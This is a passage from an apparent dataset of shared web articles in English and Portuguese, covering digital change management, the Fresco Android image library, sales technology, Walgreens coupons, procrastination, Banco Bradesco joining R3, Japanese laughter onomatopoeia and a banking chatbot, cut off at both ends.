when the recipient can actually act on it. Just-in-time feedback gives recipients the opportunity to make adjustments to their behavior and to witness the effects of these adjustments on performance. Consider the experience of a beverage company experiencing sustained share losses and stagnant market growth in a highly competitive market in Africa. The challenge was to motivate 1,000-plus sales representatives to sell with greater urgency and effectiveness. A simple SMS message system was implemented to keep the widely distributed sales reps, often on the road for weeks at a time, plugged into the organization. Each rep received two to three daily SMS messages with personalized performance information, along with customer and market insights. For example, one message might offer feedback on which outlets had placed orders below target; another would alert the rep to a situation that indicated a need for increased orders, such as special events or popular brands that were trending in the area. Within days of implementing the system, cross-selling and upselling rates increased to more than 50 percent from 4 percent, and within the first year, the solution delivered a $25 million increase in gross margin, which helped to swing a 1.5 percent market-share loss into a 1 percent gain. 2. Personalize the experience Personalization is about filtering information in a way that is uniquely relevant to the user and showing each individual's role in and contribution to a greater group goal. An easy-to-use system can be an effective motivator and engender positive peer pressure. This worked brilliantly for a rail yard looking to reduce the idle time of its engines and cars by up to 10 percent. It implemented a system that presented only the most relevant information to each worker at that moment, such as details on the status of a train under that worker's supervision, the precise whereabouts of each of the trains in the yard, or alerts indicating which train to work on. Providing such specific and relevant information helped workers clarify priorities, increase accountability, and reduce delays. 3. Sidestep hierarchy Creating direct connections among people across the organization allows them to sidestep cumbersome hierarchal protocols and shorten the time it takes to get things done. It also fosters more direct and instant connections that allow employees to share important information, find answers quickly, and get help and advice from people they trust. In the rail-yard example, a new digital communications platform was introduced to connect relevant parties right away, bypassing middlemen and ensuring that issues get resolved quickly and efficiently. For example, if the person in charge of the rail yard has a question about the status of an incoming train, he or she need only log into the system and tap the train icon to pose the question directly to the individuals working on that train. Previously, all calls and queries had to be routed through a central source. This ability to bridge organizational divides is a core advantage in increasing agility, collaboration, and effectiveness. 4. Build empathy, community, and shared purpose In increasingly global organizations, communities involved in change efforts are often physically distant from one another. Providing an outlet for colleagues to share and see all the information related to a task, including progress updates and informal commentary, can create an important esprit de corps . Specific tools are necessary to achieve this level of connectivity and commitment. Those that we have seen work well include shared dashboards, visualizations of activity across the team, ""gamification"" to bolster competition, and online forums where people can easily speak to one another (for example, linking a Twitter-like feed to a work flow or creating forums tied to leaderboards so people can easily discuss how to move up in the rankings). This approach worked particularly well with a leading global bank aiming to reduce critical job vacancies. The sourcing team made the HR process a shared experience, showing all stakeholders the end-to-end view-dashboards identifying vacancies; hiring requisitions made and approved; candidates identified, tested, and interviewed; offers made and accepted; and hire letters issued. This transparency and openness built a shared commitment to getting results, a greater willingness to deliver on one's own step in the process, and a greater willingness to help one another beyond functional boundaries. 5. Demonstrate progress Organizational change is like turning a ship: the people at the front can see the change but the people at the back may not notice for a while. Digital change tools are helpful in this case to communicate progress so that people can see what is happening in real time. More sophisticated tools can also show individual contributions toward the common goal. We have seen how this type of communication makes the change feel more urgent and real, which in turn creates momentum that can help push an organization to a tipping point where a new way of doing things becomes the way things are done. Digital tools and platforms, if correctly applied, offer a powerful new way to accelerate and amplify the ability of an organization to change. However, let's be clear: the tool should not drive the solution. Each company should have a clear view of the new behavior it wants to reinforce and find a digital solution to support it. The best solutions are tightly focused on a specific task and are rolled out only after successful pilots are completed. The chances of success increase when management actively encourages feedback from users and incorporates it to give them a sense of ownership in the process. About the author(s) Boris Ewenstein is a principal in McKinsey's Johannesburg office, where Wesley Smith is a consultant and Ashvin Sologar is an associate principal.",en
1467128196,CONTENT SHARED,1796618361228441836,-1836083230511905974,-6287954573666675020,,,,HTML,https://medium.com/android-dev-br/fresco-sim-cda40fabae82,"Fresco, sim! - Android Dev BR","Toda vez que vemos alguma biblioteca nova de carregamento de imagem, nos perguntamos: outra? Com certeza não foi diferente com o Fresco que, por um tempo, sofreu bastante ""chacota"" da comunidade pelo simples motivo: Picasso's API has 24 classes. . Fresco's API has 24 packages. Mas, antes de rir, vamos entender o motivo de tudo isso. Nascimento Nós, usuários do Facebook e Instagram, exigimos exibição rápida e eficiente de imagem ao abrirmos nossos aplicativos. O Fresco nasceu exatamente com essa função: exibir a imagem de maneira eficiente, não importando o device ou conexão. Mas, qual exatamente é o problema? Bem, as imagens geralmente são grandes e os devices "" pequenos "". Precisamos exibir uma imagem com a resolução 2560 × 1600 , com 4mb de tamanho, em um device com resolução desconsiderável. Mesmo com todo o processamento de imagem disponível, nos parece bem caótico, não é? Isso significa, no universo Android, que um simples device de 480 x 800 pixels, pode ocupar 1.5mb da dentro da sua tão preciosa e ""suada"" memória. E nós já estamos cansados de saber o que acontece quando essa memória é excedida: Memória Falando em memória, o que torna o Fresco diferente das outras bibliotecas? Antes, vamos entender melhor as regiões de memória do nosso aparelho. A famosa Java heap é região de memória delimitada por aplicação (ou seja, cada aplicação tem seu limite, isoladamente) definida pelo fabricante, por exemplo: G1 = 16 Mb Droid = 24 Mb Xoom = 48 Mb GalaxyTab = 64 Mb. Sabe o famoso "" new "" dentro do nosso código? Pois bem, todo "" new "" vai dentro dessa região de memória que é considerada ""segura"", já que o garbage-collecto r controla tudo isso com transparência para nós. Mas, esse "" garbage-collecting "" é exatamente o problema. Isso por quê ao invés de apenas recuperar partes da memória, o Android deve ""travar"" a aplicação completamente ao mesmo tempo que realiza a ""coleta de lixo"". E esse é uma das causas mais comuns de uma aplicação que aparece para congelar ou parar momentaneamente enquanto o usuário está utilizando, e já estamos cansados de saber o que o usuário faz quando isso acontece. Por outro lado, temos o chamado native heap que é usado pelo "" new "" do C++ e temos muito mais memória disponível aqui. Na verdade, a única limitação é a memória física disponível no device. Não há garbage-collection e nada que nos dê a sensação de lentidão. Porém, quando utilizamos dessa memória, temos a responsabilidade de liberar cada byte que utilizamos lá dentro. Caso contrário, teremos coisas "" piores "" acontecerão. Por último, o Android tem uma região de memória chamado , que opera praticamente igual ao native heap , mas possui algumas chamadas de sistemas extras. O Android pode fazer "" unpin "" da memória ao invés de liberá-la. E ele só faz isso quando necessário: a memória é liberada apenas se o sistema realmente precisar de mais memória. Quando o Android faz o "" pin "" da memória novamente, os dados antigos ainda estarão lá se o mesmo não foi liberado. A memória não pode ser diretamente manipulada através do código Java. Ela pode ser utilizada apenas em algumas situações excepcionais, e é destas situações que o tira vantagem. Não irei entrar em detalhes da sua implementação, mas você pode entender seu funcionamento no link no final deste post. Pois bem, sabendo como lidar e como acessar essa região da memória, o Fresco , como disse, tem uma outra postura para carregar as imagens. Pipeline ""It's more than a loader - it's a pipeline"" , é seu mantra para carregar uma imagem eficientemente. Nessa representação que percebemos a diferença do para as outras bibliotecas: O motivo dela ter 24 packages ao invés de 24 classes é que cada passo é tratado de maneira mais isolada e independente possível, o que nos dá um poder muito grande quando se diz respeito de ter ""controle em cada passo"" do carregamento da imagem. Utilização Ok, já sabemos como o Fresco opera. Agora, vamos ver como uma imagem simples é carregada. Primeiro, quando carregamos uma imagem, nós precisamos de um placeholder para ela e, quando acontece alguma falha, precisamos de um placeholder que indique isso. Também, há situações de quando a imagem termina de ser carregada, queremos fazer alguma animação nela tal como um fade-in ou até aplicar alguma regra de redimensionamento para exibirmos no tamanho correto. Só de ler esse parágrafo, você provavelmente já assimilou alguma necessidade que você venha a ter no seu dia a dia, e que todos nós temos. Mas, para suportar esse tipo de ""funcionalidade"", tudo precisa ser rápido, suave e performático. Para fazer isso, o utiliza um esquema de "" Drawees "" (um MVP-like, só que voltado pra imagens), que separa as camadas da imagem em três etapas. A camada de ""modelo"" é chamada DraweeHierarchy , que implementa uma hierarquia de Drawables, que cada um se aplica a uma função diferente a imagem subjacente. Os DraweeControllers se conectam com o image pipeline (ou qualquer outro loader) e fica responsável pela parte de backend. É ele quem recebe as respostas do servidor e decide o que fazer com eles. Por último temos o DraweeViews , que tem um papel bem específico. Esses ficam ""ouvindo"" eventos do sistema que informa que aquela view não está mais sendo exibida na tela. Quando isso acontece, o DraweeView informa pro DraweeController que por sua vez ""fecha"" todos os usos daquela imagem, evitando qualquer perda de memória. Também, vai informar ao pipeline para cancelar o request da imagem, caso não tenha sido terminada ainda - como por exemplo em listas. Criando uma galeria Para mostrar como tudo isso funciona, criei um projeto para e exibição das imagens dentro do device. É um ótimo caso de uso, já que dentro do device existem fotos de diversos tamanhos e tipos. Primeiramente, precisamos inicializar o através da nossa Application : Depois de criar nosso RecyclerView para exibição, precisamos criar cada item da imagem. Para isso, vamos utilizar o SimpleDraweeView , que já irá contemplar todas as ferramentas necessárias para fazer o carregamento da imagem. Aqui, podemos explorar a imagem já do XML. Cheque a documentação para saber até onde podemos customizar aqui. Feito isso, precisamos carregar nossa imagem. Para isso, precisamos definir qual o path (url ou local) da imagem. No , fazemos isso através do método setImageURI() ; Somente dessa maneira, se rodássemos nossa aplicação, já iremos ver nossa imagem sendo exibida (cacheada, otimizada etc etc etc). Mas, como estamos tratando de uma galeria, precisamos fazer algumas configurações a mais para garantir performance. Vamos alterar nosso DraweeController para adicionar algumas configurações: O resultado dessa implementação, é esse: Já está bom, não é? Mas, ainda não é um resultado desejado. Perceba que, ao fazermos o scroll , ainda há um engasgo para carregar as imagens, e também elas não estão sendo carregadas rapidamente. E é aqui que o Fresco se mostra poderoso: temos controle para diminuir a qualidade da imagem que irá ser exibida apenas com algumas linhas de código! Lembra na nossa Application ? Podemos colocar um ""configurador"" para o , que irá refletir em todas as imagens selecionadas: Resultado? Temos um scroll totalmente suave e performático. Faça o teste! Rode no seu próprio device e veja o resultado. Configurações extras OkHttp O tem suporte ao OkHttp como image pipeline ! Para isso, precisamos adicionar uma dependência extra: E, na nossa Application, adicionar o OkHttpClient: Outros formatos Uma grande reclamação era que você era obrigado a incluir todas as funcionalidades e funções que o tem para oferecer. Mas, a partir da versão , você consegue ""granular"" o que você quer usar: Conclusão O Fresco é uma biblioteca que, após seu entendimento e compreensão do que pode ser feito com ela, nos garante entregar uma experiência muito boa para o usuário visualizar suas imagens. Então, dê uma chance ao Fresco e comente nesse post suas impressões! Links",pt
1467129603,CONTENT SHARED,8926889915100214784,-1032019229384696495,-1382304469206973597,,,,HTML,https://techcrunch.com/2016/06/26/a-new-sales-technology-stack-is-coming/,A new sales technology stack is coming,"You know that story about the guy looking for his keys below a streetlight? He doesn't actually know where he lost them, but he knows ""this is where the light is."" It's called the streetlight effect, and it's a form of observational bias suggesting people approach problems not from the best angle but from the easiest. It's been used to explain everything from indicators of poverty to the (dubious) usefulness of reducing cholesterol in addressing heart disease. If you'll pardon me now, I'd like to use it again to discuss my favorite topic: sales and marketing. Perhaps the greatest revolution in the modern go-to-market model was not actually a revolution at all, but simply the easiest thing we could do with all the new data being generated by our systems. I'm talking about inbound marketing and demand generation, the process by which marketing as a function becomes a quantitative effort to buy units of value (leads) at a predictable price and hand those off to a sales team that can convert them at a predictable rate. This is where the light has been shining, operating under the philosophy that long as lifetime value to customer acquisition cost ratios work, we're in business. In the sales process, however, this leaves a lot to be desired. Sales has always been about building 1:1 relationships, understanding the customer and creating the compelling event to buy. Before, the process of cold calling customers, positioning products, creating collateral, taking a lead from first meeting to close, carrying a quota, closing deals and building meaningful relationships with customers - in short all of the pieces that inform one's understanding of its target audience were incredibly difficult to quantify and manage. Sales people are craving the same level of sophistication their counterparts in marketing have had in the last decade to be more successful and where productivity is the driver, not an after-thought. Today - that ""art"" is now making its way into ""science"" and we are in the early innings of this massive transition where we would have access to more data than ever before. Sales people are craving the same level of sophistication their counterparts in marketing have had in the last decade to be more successful and where productivity is the driver, not an after-thought. Now let's take a step back to examine how we can effectively move forward. As we all know, Salesforce.com pioneered the system of record for sales management, satisfying executives' need for visibility into a chaotic, manual process for core sales activities. But, it left the challenge of using data to change and improve selling behavior to its customers. No surprise, given the challenge of collecting actionable data from the calls, texts, emails, in-person meetings, baseball games and steak dinners inherent in selling, but it is something the company will have to remedy in the near future. Looking at this future from my perspective as a VC and former sales leader, I believe that a comprehensive system using the set of tools to make sales a much more productive, quantitative effort is in order. We can no longer settle for something marginally better. I want a tool that programs my behaviors and those of my team, one that lets me A/B test sales tactics, codify those that work and disseminate them through the organization. It should be cross-channel, cater to the entire lifecycle (from prospecting cold leads to nurturing to closing), and understand and speak the language of account-based selling. Most importantly, my ideal system is a system of action that enables these tested and documented workflows and playbooks instead of simply tracking the unstructured behaviors of flawed humans. With a tool like this, we could turn the art of selling, full of heuristic instinct and chutzpah, into a science that could be observed, studied, improved and taught. As communications tools get wired together - as audio transcription and natural language processing technology improves, and as trackable digital communication supplants the messy sneakernet - the infrastructure is falling into place. This is not a pipe dream but rather an eventuality that will ultimately elevate the sales experience. We're on the cusp of big changes in sales, and all the major players know it. Take the recent news that Microsoft is acquiring LinkedIn. As Microsoft doubles down on its cloud services offerings, expect to see Dynamics get a lot of attention. While it has struggled historically to keep pace with Salesforce (or to acquire them), Microsoft is now assembling the pieces to make a run. Think of it - Azure for hosting, Dynamics for CRM, people and account based intelligence with LinkedIn . This news has to make Salesforce a little nervous because the company lacks an actionability piece, and it will therefore have to make a bet in this space to maintain its dominance as a database of record. Time will tell how it all shakes out, but it will sure be interesting to watch, and sales systems will be the better for it. As communications tools get wired together - as audio transcription and natural language processing technology improves, and as trackable digital communication supplants the messy sneakernet - the infrastructure is falling into place. All of that said, the missing piece in this movement is sales automation . This will be a huge area of activity and acquisitions in the next few years as everyone tries to be the home screen for sales. Companies like our new portfolio company, Outreach , and companies like SalesLoft and ToutApp are building the systems of action necessary to codify and apply essential productivity learnings and workflow solutions. The sales tech stack is being built as we speak, and it's happening in lockstep with the move from the work of demand generation, to the world of account-based sales and marketing. These trends are paving the way for the next generation platforms of engagement. For the first time, these tools and technologies are giving visibility into the ""how"" of sales, not just the ""how much"" which is both exciting and necessary. In the end, the goal is to build software that actually helps salespeople close deals, not just add another reporting layer for management. We want software that allows sales professionals to be the best version of themselves. It's not enough to know what the SaaS magic number is. We must give organizations the tools and knowledge to those efficiency and efficacy ratios. Software that gives meaning to the SaaS metrics that sales geeks like me track, and that adds a layer of actionability to impact those metrics, will win the hearts and minds of the sales reps. Now is the time to do what is needed, not just what's easy. Only by helping people be the best at what they do can we bring about a true revolution. Featured Image: Marc Brüneke / Flickr UNDER A CC BY 2.0 LICENSE",en
1467135346,CONTENT SHARED,2668385070649954934,801895594717772308,8570706322370780593,,,,HTML,http://9to5mac.com/2016/06/28/walgreens-apple-pay-balance-rewards-coupons/,"Walgreens now lets you digitally clip coupons from its iOS app, redeem in-store through Apple Pay with loyalty card","Walgreens has officially supported Apple Pay since day one and was one of the first retailers to accept loyalty cards over Apple Pay, and now the retailer is expanding support for digital coupon clipping which can be redeemed through Apple Pay. Walgreens is rolling out digital coupon clipping through more channels which connects promotions to your Balance Rewards loyalty card. Digital coupons can now be found at walgreens.com/coupons or within search results or through the Walgreens iOS app . You can then apply clipped coupons connected to your account simply by waving your iPhone or Apple Watch near a terminal at checkout to use your loyalty card just like on transactions without coupons. Then one more wave to optionally use your Apple Pay debit or credit card to complete the transaction in the store.",en
1467136120,CONTENT SHARED,-2549933363319068481,801895594717772308,8570706322370780593,,,,HTML,https://www.washingtonpost.com/news/wonk/wp/2016/04/27/why-you-cant-help-read-this-article-about-procrastination-instead-of-doing-your-job/,The real reasons you procrastinate - and how to stop,"Have you ever sat down to complete an important task - and then suddenly discovered you were up loading the dishwasher or engrossed in the Wikipedia entry about Chernobyl? Or perhaps you suddenly realize that the dog needs to be fed, emails need to be answered, your ceiling fan needs dusting - or maybe you should go ahead and have lunch, even though it's only 11 a.m.? Next thing you know, it's the end of the day and your important task remains unfinished. For many people, procrastination is a strong and mysterious force that keeps them from completing the most urgent and important tasks in their lives with the same strength as when you try to bring like poles of a magnet together. It's also a potentially dangerous force, causing victims to fail out of school, perform poorly at work, put off medical treatment or delay saving for retirement. A Case Western Reserve University study from 1997 found that college-age procrastinators ended up with higher stress, more illness and lower grades by the end of the semester. But the reasons people procrastinate are not understood that well. Some researchers have viewed procrastination largely as a failure of self-regulation - like other bad behaviors that have to do with a lack of self-control, such as overeating, a gambling problem or overspending. Others say it's not a matter of being lazy or poor time management, as many smart overachievers who procrastinate often can attest. They say it may actually be linked to how our brain works and to deeper perceptions of time and the self. How exactly does procrastination work, and how do you stop it? Psychological research, comics and ""The Simpsons"" will explain. The real origins of procrastination Most psychologists see procrastination as a kind of avoidance behavior, a coping mechanism gone awry in which people ""give in to feel good,"" says Timothy Pychyl, a professor who studies procrastination at Carleton University, in Ottawa. It usually happens when people fear or dread, or have anxiety about, the important task awaiting them. To get rid of this negative feeling, people procrastinate - they open up a video game or Pinterest instead. That makes them feel better temporarily, but unfortunately, reality comes back to bite them in the end. Once the reality of a deadline sets in again, procrastinators feel more extreme shame and guilt. But for an extreme procrastinator, those negative feelings can be just another reason to put the task off, with the behavior turning into a vicious, self-defeating cycle. [ Why it feels so good to read about this Princeton professor's failures ] Tim Urban, who runs the blog Wait But Why, created an amazing and funny (if layman's) explanation of what may happen inside the brain of a procrastinator. Urban calls himself a master procrastinator - he didn't begin writing a 90-page senior thesis until 72 hours before it was due. Urban recently gave a TED Talk about his own extreme procrastination tendencies, in which he used some of his own cartoons to explain how life is different for an extreme procrastinator. First, he describes the brain of a non-procrastinator, in which a ""rational decision-maker"" has a firm grip on the wheel: The brain of a procrastinator looks similar, except for the presence of a little friend, which Urban labels the ""instant gratification monkey."" The monkey seems as though he will be fun, but in fact he is a lot of trouble, as Urban's comics illustrate. This continues until things get really bad - the prospect of the end of your career or your schooling looms. Then something that Urban calls the ""panic monster"" kicks in and finally spurs you into action. People can be various kinds of procrastinators, Urban says. Some procrastinate by doing useless things, such as searching for cat GIFs. Others actually accomplish things - cleaning their homes, working their boring jobs - but never quite getting to the things they really want to accomplish in life, their most important, long-term goals. To illustrate this, Urban uses a concept that is known as an Eisenhower Matrix, a graphic that was included in ""The Seven Habits of Highly Effective People."" It's named after Dwight D. Eisenhower, the famously productive president. Eisenhower thought that people should spend their time on what was truly important to them - the tasks in Quadrants 1 and 2 below. Unfortunately, most procrastinators spend little time in those quadrants, Urban says. Instead, they mostly hang out in Quadrants 3 and 4, doing things that may be urgent, but are not important. Occasionally, when the panic monster takes over, they take a very brief detour to Quadrant 1. Urban says this habit is disastrous because ""the road to the procrastinator's dreams - the road to expanding his horizons, exploring his true potential and achieving work he's truly proud of - runs directly through Quadrant 2. Q1 and Q3 may be where people survive, but Q2 is where people thrive, grow and blossom."" This is Urban's own personal explanation of how and why he procrastinates - but his account actually corresponds with psychological research on the topic. Pychyl discusses the idea of the ""monkey mind"" - that our thoughts are constantly darting all over the place, preventing us from concentrating. And psychologists agree that the problem with procrastinators is that they are tempted to give in to instant gratification, which brings people the kind of instant relief psychologists call ""hedonic pleasure,"" rather than staying focused on the long-term goal. Important goals (the kind that occupy the first and second quadrants above) are more challenging but in the long run bring longer lasting feelings of well-being and self-satisfaction that psychologists call ""eudaimonic pleasure."" Present Homer vs. Future Homer Psychologists have some other fascinating models to understand the forces behind procrastination. Some believe that procrastination is so intractable because it's linked to deeper perceptions of time and the difference between what they call ""the present and future self."" The idea is that, even though we know that the person we will be in a month is theoretically the same person that we are today, we have little concern, understanding or empathy for that future self. People are far more focused on how they feel today. Pychyl points to a clip from ""The Simpsons"" as a pretty good illustration of the different ways we think about our present and future selves. In one episode, Marge scolds her husband for not spending enough time with the kids. ""Some day, these kids will be out of the house, and you'll regret not spending more time with them,"" she says. ""That's a problem for future Homer. Man, I don't envy that guy,"" Homer says, while pouring vodka into a mayonnaise jar and then downing the concoction before collapsing on the floor. ""When making long-term decisions, [people] tend to fundamentally feel a lack of emotional connection to their future selves,"" says Hal Hershfield, a psychologist at UCLA Anderson School of Management who studies the present and future self.""So even though I know on some fundamental level in a year's time, I'll still be me, in some ways I treat that future self as if he's a fundamentally different person, and as if he's not going to benefit or suffer from the consequences of my actions today."" Hershfield's research supports this idea. Hershfield has taken fMRI scans of people's brains as they thought about themselves in the present, a celebrity like Natalie Portman or Matt Damon, and then themselves in the future. He found that people process information about their present and future selves with different parts of the brain. Their brain activity when describing their self in a decade was similar to when they were describing Natalie Portman. Emily Pronin of Princeton University led a study with somewhat similar findings in 2008. She presented people with a nasty concoction of soy sauce and ketchup and had them decide how much they or another person would have to drink. Some people choose for themselves, others chose for other people and a third group chose for themselves in two weeks. The study showed that people were willing to commit to drinking a half-cup of the nasty concoction in the future but committed to only two tablespoons that day. Pychyl's latest research suggests that those who were more in touch with their future selves -- both two months and 10 years down the line -- reported fewer procrastination behaviors. However, research also suggests that procrastinators might be able to get more in touch with their future selves - a change that could help make them happier in the long term. In one study by Hershfield , some subjects used virtual reality to look at digitally aged photographs of themselves. Then all of the test subjects were asked how they would spend $1,000. Those who saw the aged photo chose to invest twice as much in a retirement account as those who did not. Interestingly, insurance companies have latched onto these findings to try to drum up more business. Bank of America Merrill Lynch launched a service called Face Retirement , in which you can upload a photograph of yourself and see it digitally aged. Allianz also created a similar tool with the help of its own team of behavioral scientists . How to return to the land of the productive Beyond trying to be kinder to our future selves, what else can people do about procrastination? Tim Urban points out that the typical advice for procrastinators - essentially, to stop what they're doing and get down to work, is ridiculous, because procrastination isn't something that extreme procrastinators feel as though they can control. ""While we're here, let's make sure obese people avoid overeating, depressed people avoid apathy, and someone please tell beached whales that they should avoid being out of the ocean,"" Urban writes. But there are some simple tips, those who study the subject say, that can help procrastinators get down to business. Interestingly, research suggests that one of the most effective things that procrastinators can do is to forgive themselves for procrastinating. In a study by Pychyl and others, students who reported forgiving themselves for procrastinating on studying for a first exam ended up procrastinating less for a second exam. This works because procrastination is linked to negative feelings, the researchers say. Forgiving yourself can reduce the guilt you feel about procrastinating, which is one of the main triggers for procrastinating in the first place. But the best thing that Pychyl recommends is to recognize that you don't have to be in the mood to do a certain task - just ignore how you feel and get started. ""Most of us seem to tacitly believe that our emotional state has to match the task at hand,"" says Pychyl. But that's just not true. ""I have to recognize that I'm rarely going to feel like it, and it doesn't matter if I don't feel like it."" Instead of focusing on feelings, we have to think about what the next action is, Pychyl says. He counsels people to break down their tasks into very small steps that can actually be accomplished. So if it's something like writing a letter of reference, the first step is just opening the letterhead and writing the date. Even if it's an extremely small action, a little progress will typically make you feel better about the task and increase your self-esteem, which in turn reduces the desire to procrastinate to make yourself feel better, he says. Pychyl believes that teachers and parents should teach kids to deal with the temptations of procrastination from a young age. ""A lot of teachers think that kids have time-management problems, when they procrastinate. And they don't have a time-management problem. ... What they have is an emotion-management problem. They have to learn that you don't feel good all the time, and you've got to get on with it."" ""Mark Twain is quoted as saying, 'If your job is to eat a frog, eat it first thing in the morning, and if your job is to eat two frogs, eat the big one first,'"" Pychyl says. Urban basically says the same thing in different language. ""No one 'builds a house,'"" he writes . ""They lay one brick again and again and the end result is a house. Procrastinators are great visionaries - they love to fantasize about the beautiful mansion they will one day have built - but what they need to be are gritty construction workers, who methodically lay one brick after the other, day after day, without giving up, until a house is built."" You might also like: What really drives you crazy about waiting in line (it actually isn't the wait at all) Your reaction to this confusing headline reveals more about you than you know How to tell if other people think you're hot, according to science",en
1467138173,CONTENT SHARED,-2539915991213675511,-2726721797588771398,2371283389203621052,,,,HTML,http://www.coindesk.com/brazils-banco-bradesco-joins-r3-consortium/,Brazil's Banco Bradesco Joins R3 Consortium - CoinDesk,"A major Brazilian banking institution has become the latest member of distributed ledger consortium R3CEV. Banco Bradesco announced today that it had joined the R3 consortium , becoming the latest of more than 40 participants to join the group of banking institutions worldwide that are collaboratively exploring blockchain and distributed ledger applications. Founded in 1943, the bank is the third-largest bank in Brazil by total assets, according to data from the nation's central bank. Bradesco executive vice president Maurício Machado de Minas said in a statement: ""Innovation plays a crucial role at Bradesco and we are committed to better serve our customers and add value to our shareholders. Distributed ledger technologies can help us to achieve these objectives and we are excited about joining R3, so that we can work together and discover the full potential of this new technology."" The news comes days after Toyota Financial Services, the finance arm of automaker Toyota Motor Corporation, announced that it had joined the consortium .",en
1467139108,CONTENT SHARED,7521700660190108859,-7118575739764684077,-2901786489893223302,,,,HTML,http://skdesu.com/risadas-japonesas-na-internet/,Como são escrita as risadas em japonês? - Suki Desu,"Todos conhecem as universais formas de risadas kkkkkkkkkk , rsrsrsrs e até o famoso huehuehue . Já ficou curioso pra saber como é as risadas da internet e na mídia que os japoneses usam? Neste artigo vamos ver alguma delas e seus significados. As risadas que iremos mostrar abaixo podem ser chamadas de onomatopeias . E costumam ser usadas não apenas na internet, mas principalmente em mangas, animes e em todo o Japão, através da mídia e no dia a dia. ははははは Ha! ha! ha! O riso mais comum, usado especialmente por homens. ひひひひひ hihihihihi Risada de uma pessoa que pretende fazer algo de errado ou armar uma trama. ふふふふふ fufufufufu Riso assustador. Também pode representar riso feminino ou maléfico. へへへへへ hehehehehehe Riso envergonhado de uma pessoa que não consegue fazer algo ou está tentando esconder sua timidez. ほほほほほ hohohohoho Riso feminino, quando uma mulher da risadas com bocão aberto, usado frequentemente por senhoras. Observação : Costuma se usar as vogais (あ a / い i / う u / え e / お o) na frente das onomatopeias acima, soa mais coloquial: あはははは ahahahaha / いひひひひ ihihihihi / うふふふふ ufufufufu / えへへへへ ehehehehe / おほほほほ ohohohoho Abaixo vamos ver algumas variações e outros tipos de risadas que costumam ser derivadas das 5 principais. Kya! ha! ha! Forma Infantil de ""Ha! Ha! Ha! Wa! ha! ha! Gwa! ha! ha! Gargalhadas. Usado para deixar a risada um pouco mais maléfica. Kara-kara Tem pessoas que riem assim ""kara-kara"". Não é nada raro. Confie em mim! Gera-gera Geta-geta Risos, sem modéstia, muitas vezes contêm o significado de desprezo. Eles riem ""gera-gera"" de sua piada sem graça. Quando a pessoa esta lendo um manga engraçado, ou lembrou de uma piada, costuma a rir sozinho e um pouco baixinho... I! hi hi hi! ""Hi hi hi"" Eu sei a cor de sua calcinha. Um riso vulgar. Kya! Kya! Riso usado por bebes e crianças. Keta Keta- Riso indecente. Ele ri ""keta-keta"" não levando em consideração a situação. Koro-koro Um riso decente e agradável. Os machos nunca riem ""koro-koro"". Ladies costumam rir koro-koro como uma bola rolando. Bolas rolam e fazem""koro-koro"". Ke! ke! ke! Um riso de escárnio visto principalmente em quadrinhos. Niko niko ニコニコ é um sorriso alegre, e silencioso. O Kanji 笑 o Kanji 笑 - Wara é muito usado na internet para referir aos risos, tanto quando o lol é usado em inglês. Ele costuma ser encontrado entre os parenteses （笑）este kanji significa literalmente riso ou rindo. Na internet ainda é possível encontrar japoneses escrevendo www , mas não confunda com World Wide Web, www pode ser a abreviação de Warai ou Warau que é uma das pronuncias do kanji 笑 . É muito normal encontrar em chats japoneses, milhares de wwwwwwwwww... Essa pode ser a maneira mais simples e mais usada de se escrever risos na internet. E você? Qual risada costuma usar?",pt
1467139880,CONTENT SHARED,408283689595887456,-1443636648652872475,1766918780078049973,,,,HTML,http://www.wired.com/2016/06/new-banking-ai-now-chatbots/,This New Banking AI Is the Here and Now of Chatbots,"I just asked a bot to tell me how much I spent on coffee this past month. And a few moments later, it replied. ""Let's see,"" it said. ""You spent $199.83."" Certainly, I drink an awful lot of coffee. But not that much. After asking the bot for a bit more information, I can happily say I spent at least some of that nearly two hundred dollars on chopped fruit and the occasional pastry. The bot didn't actually explain this, but it did give me list all payments to coffee shops, which made things clear. ""Thank you,"" I told the bot. And it responded with a big yellow smiling emojicon. This bot is called Kai , and it's the brainchild of Kasisto , a startup that spun out of the Silicon Valley research lab that helped create Siri, the talking digital assistant that comes with the Apple iPhone. Dovetailing with popular messaging apps like Facebook Messenger and Slack, Kai is meant to provide a simpler way of watching your money-or even moving it. This bot can bring up your latest bank balance or tell you how much you're paying in fees or instantly wire money across the 'net. ""We're doing things you can't do as quickly in other ways,"" says Dror Oren, Kasisto's vice president of product. People in Asia are already using Kai, and beginning today, you can too. Because it's focused on banking-and banking alone-it works pretty well. But it's also flawed. And it's a bit weird. Unsettling, even. All of which makes it a great way of deconstructing the tech world's ever growing obsession with ""chatbots."" In recent months, some of the Internet biggest names have put their weight behind this big idea , including Facebook, Microsoft, and Google. And countless others are pushing the same notion, including startups like Kasisto and the New York-based GoButler . The idea is that we'll soon use messaging apps-like Messenger, Slack, Telegram, and Skype-to communicate not only with our friends and family, but with all sorts of Internet services. Without leaving our favorite messaging app, the thinking goes, we'll hail rides from Uber, book plane flights from United, and, yes, check in on our bank accounts-all in a wonderfully conversational way. But here's the rub: artificial intelligence hasn't quite progressed to the point where it really carry on a conversation-where it can always give us what we're asking for. If you've used Siri-or any other smartphone digital assistant-you know this. And though people use messaging apps to interact with Internet services in Asia-particularly China-the rest of the world isn't necessarily geared towards this kind of thing. At least not yet. I must admit: I felt uneasy installing Kai. I'm hardly unfamiliar with the latest in AI and other smartphone tech, but as I linked an independent, ostensibly intelligent service to my bank account, I couldn't help but question the decision. That's not necessarily rational. For the most part, Kai just reads bank balances and statements. But this is my money we're talking about. I'm giving up the password to my banking app. And Kai goes on to ask if I'm interested in connecting to Venmo , so I easily send money to people too. With a startup-or indeed any company-all this gives you pause. But it's also where the Internet is moving. So I installed Kai, linking it to my Facebook Messenger app, and I started chatting. Kai is remarkably adept at understanding what I'm asking-and that's largely because it's focused solely on banking. When I ask ""How much money do I have?"" or ""How much did I spend on food in May?,"" it understands. But when I ask who won the Spain-Italy match at Euro 2016, it suggests I take another tack. The thing to realize about today's chatbots is that they can be reasonably effective if they've honed to a particular task-and that they break down if the scope gets to wide. Piyush Gupta, the CEO of DBS, a big Singapore bank that offers Kai through its own app, says that bot works far better than other natural-language services the bank has tried-services originally designed for a much broader set of applications. Kasisto doesn't necessarily use the latest in natural-language AI . Whereas Google and Facebook and others have advanced the state of the art with deep neural networks -networks of hardware and software that can learn tasks by analyzing vast amounts of data-the startup takes a more pragmatic approach. Or at least an approach that's more pragmatic for the here and now. Basically, Kasisto relies on algorithms that carefully define how the service will work, as opposed to algorithms that learn on their own from data. That's not the best way to tackle a more comprehensive style of natural language understanding designed to handle any conversation-the style Facebook and Google are reaching for-but it can work quite well for a banking 